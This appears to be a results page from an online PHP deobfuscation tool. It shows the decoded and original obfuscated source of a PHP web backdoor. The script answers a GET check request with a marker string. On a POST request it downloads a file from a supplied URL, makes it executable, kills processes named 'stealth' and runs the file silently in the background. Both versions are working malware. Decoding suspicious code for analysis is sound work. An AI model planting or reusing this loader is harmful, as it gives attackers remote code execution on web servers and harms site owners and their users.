Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto R5P8r; aPO0c: ${"\x47\114\x4f\x42\x41\x4c\x53"}["\x70\x69\151\150\x6c\x76\155..
Decoded Output download
<?php
goto R5P8r; aPO0c: ${"GLOBALS"}["piihlvmcs"] = "url"; goto eHyIc; eHyIc: ${"GLOBALS"}["fhpbudy"] = "x"; goto Vfx7z; Vfx7z: ${"GLOBALS"}["xjygnwhvomk"] = "fname"; goto MvI8d; MvI8d: error_reporting(0); goto OsEwE; urofg: if ($_POST["cp"] == "download") { ${"GLOBALS"}["mfskkevgmw"] = "x"; ${"GLOBALS"}["bksgsxlfst"] = "url"; ${"GLOBALS"}["fshhyzbxpug"] = "url"; ${${"GLOBALS"}["xjygnwhvomk"]} = substr(str_shuffle(str_repeat(${${"GLOBALS"}["mfskkevgmw"]} = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", ceil(6 / strlen(${${"GLOBALS"}["fhpbudy"]})))), 1, 6); ${${"GLOBALS"}["bksgsxlfst"]} = $_POST["url"]; if (!empty(${${"GLOBALS"}["fshhyzbxpug"]})) { $xnilaonkgz = "c"; @unlink(${${"GLOBALS"}["xjygnwhvomk"]}); exec("pkill -9 -f stealth"); exec("pkill -f -9 stealth"); $ircpirghl = "command"; ${$xnilaonkgz} = file_get_contents(trim(${${"GLOBALS"}["piihlvmcs"]})); $jgbggyhqpbv = "command"; file_put_contents(${${"GLOBALS"}["xjygnwhvomk"]}, ${${"GLOBALS"}["pdldhwd"]}); chmod(${${"GLOBALS"}["xjygnwhvomk"]}, 493); ${$jgbggyhqpbv} = "./{$fname} > /dev/null 2>/dev/null &"; exec(${$ircpirghl}); echo "ok"; } } goto mB0Jp; OsEwE: if ($_GET["cg"] == "chk") { echo "aux6TheioGhueQu3"; die; } goto urofg; R5P8r: ${"GLOBALS"}["pdldhwd"] = "c"; goto aPO0c; mB0Jp: ?>
Did this file decode correctly?
Original Code
<?php
goto R5P8r; aPO0c: ${"\x47\114\x4f\x42\x41\x4c\x53"}["\x70\x69\151\150\x6c\x76\155\143\163"] = "\x75\x72\x6c"; goto eHyIc; eHyIc: ${"\107\114\117\x42\x41\x4c\123"}["\146\x68\x70\142\x75\x64\171"] = "\170"; goto Vfx7z; Vfx7z: ${"\x47\x4c\117\102\101\114\123"}["\x78\152\171\147\156\167\150\166\157\x6d\153"] = "\x66\156\141\x6d\145"; goto MvI8d; MvI8d: error_reporting(0); goto OsEwE; urofg: if ($_POST["\143\x70"] == "\144\x6f\167\x6e\154\x6f\x61\144") { ${"\x47\x4c\117\x42\x41\x4c\123"}["\155\146\x73\153\x6b\x65\166\147\x6d\167"] = "\170"; ${"\107\x4c\117\102\x41\x4c\x53"}["\x62\x6b\163\x67\163\x78\154\x66\x73\x74"] = "\x75\162\154"; ${"\x47\x4c\x4f\x42\x41\x4c\123"}["\146\163\x68\150\x79\172\x62\x78\160\165\147"] = "\165\162\x6c"; ${${"\107\114\117\x42\x41\x4c\123"}["\x78\152\x79\x67\156\167\150\166\157\x6d\x6b"]} = substr(str_shuffle(str_repeat(${${"\107\x4c\x4f\102\101\114\x53"}["\155\x66\163\x6b\153\x65\166\x67\x6d\x77"]} = "\60\x31\62\63\64\65\66\x37\70\x39\141\x62\143\144\x65\x66\147\150\151\x6a\153\154\155\156\157\160\161\162\163\164\x75\166\x77\x78\171\172\101\x42\x43\x44\x45\106\107\x48\x49\112\x4b\114\115\x4e\117\120\121\122\123\124\x55\126\x57\130\x59\x5a", ceil(6 / strlen(${${"\107\114\117\102\x41\x4c\x53"}["\146\150\x70\x62\165\x64\x79"]})))), 1, 6); ${${"\x47\114\117\x42\101\114\123"}["\x62\x6b\x73\147\163\170\x6c\146\x73\x74"]} = $_POST["\165\162\154"]; if (!empty(${${"\x47\114\117\x42\x41\114\x53"}["\x66\x73\150\x68\x79\x7a\x62\x78\x70\x75\147"]})) { $xnilaonkgz = "\143"; @unlink(${${"\x47\x4c\x4f\x42\101\114\x53"}["\x78\152\171\147\156\167\150\x76\x6f\x6d\x6b"]}); exec("\x70\153\151\x6c\x6c\x20\x2d\x39\x20\x2d\x66\x20\x73\x74\x65\x61\154\164\x68"); exec("\x70\x6b\151\x6c\154\40\x2d\x66\x20\x2d\x39\x20\163\x74\145\x61\x6c\164\150"); $ircpirghl = "\x63\x6f\155\x6d\x61\x6e\144"; ${$xnilaonkgz} = file_get_contents(trim(${${"\x47\114\117\x42\101\114\123"}["\160\151\x69\150\x6c\166\x6d\x63\x73"]})); $jgbggyhqpbv = "\143\157\155\x6d\x61\x6e\144"; file_put_contents(${${"\107\114\117\102\101\114\x53"}["\170\x6a\171\x67\156\x77\x68\x76\x6f\155\153"]}, ${${"\107\x4c\117\102\x41\114\123"}["\160\144\154\x64\x68\x77\x64"]}); chmod(${${"\107\x4c\x4f\x42\101\114\123"}["\170\x6a\x79\147\x6e\167\150\166\157\x6d\153"]}, 493); ${$jgbggyhqpbv} = "\x2e\x2f{$fname}\40\76\x20\x2f\144\145\166\57\x6e\x75\154\154\40\62\76\x2f\144\145\166\x2f\x6e\165\154\x6c\40\x26"; exec(${$ircpirghl}); echo "\157\x6b"; } } goto mB0Jp; OsEwE: if ($_GET["\143\147"] == "\x63\x68\153") { echo "\141\x75\170\66\x54\x68\x65\151\x6f\107\150\165\145\121\x75\63"; die; } goto urofg; R5P8r: ${"\107\114\x4f\102\101\114\x53"}["\160\144\x6c\144\x68\167\x64"] = "\143"; goto aPO0c; mB0Jp: ?>
Function Calls
None |
Stats
MD5 | 4152573b812ef1f52fd14bb738445613 |
Eval Count | 0 |
Decode Time | 77 ms |